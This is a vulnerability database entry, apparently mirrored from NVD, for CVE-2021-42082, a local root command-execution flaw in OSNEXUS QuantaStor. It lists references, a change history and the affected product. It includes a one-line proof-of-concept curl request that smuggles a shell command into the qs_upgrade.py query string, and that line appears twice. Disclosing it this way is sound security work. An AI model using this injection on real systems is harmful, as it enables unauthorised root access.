Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
References
| Link | Resource |
|---|---|
| https://csirt.divd.nl/CVE-2021-42082 | Third Party Advisory |
| https://csirt.divd.nl/DIVD-2021-00020/ | |
| https://www.osnexus.com/products/software-defined-storage | Product |
| https://www.wbsec.nl/osnexus | Third Party Advisory |
| https://csirt.divd.nl/CVE-2021-42082 | Third Party Advisory |
| https://www.divd.nl/DIVD-2021-00020 | |
| https://www.osnexus.com/products/software-defined-storage | Product |
| https://www.wbsec.nl/osnexus | Third Party Advisory |
Configurations
History
22 Sep 2025, 07:15
| Type | Values Removed | Values Added |
|---|---|---|
| Summary | (en) Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`' |
21 Nov 2024, 06:27
| Type | Values Removed | Values Added |
|---|---|---|
| References |
|
|
| References | () https://csirt.divd.nl/CVE-2021-42082 - Third Party Advisory | |
| References | () https://www.osnexus.com/products/software-defined-storage - Product | |
| References | () https://www.wbsec.nl/osnexus - Third Party Advisory |
16 Oct 2024, 12:15
| Type | Values Removed | Values Added |
|---|---|---|
| References |
|
|
14 Jul 2023, 14:37
| Type | Values Removed | Values Added |
|---|---|---|
| References | (MISC) https://www.osnexus.com/products/software-defined-storage - Product | |
| References | (MISC) https://www.divd.nl/DIVD-2021-00020 - Broken Link | |
| References | (MISC) https://www.wbsec.nl/osnexus - Third Party Advisory | |
| References | (MISC) https://csirt.divd.nl/CVE-2021-42082 - Third Party Advisory | |
| CPE | cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:* | |
| CVSS |
v2 : v3 : |
v2 : unknown
v3 : 7.8 |
| CWE | CWE-269 |
10 Jul 2023, 16:27
| Type | Values Removed | Values Added |
|---|---|---|
| New CVE |
Information
Published : 2023-07-10 16:15
Updated : 2025-09-22 07:15
NVD link : CVE-2021-42082
Mitre link : CVE-2021-42082
CVE.ORG link : CVE-2021-42082
JSON object : View
Products Affected
osnexus
- quantastor
CWE
CWE-269
Improper Privilege Management
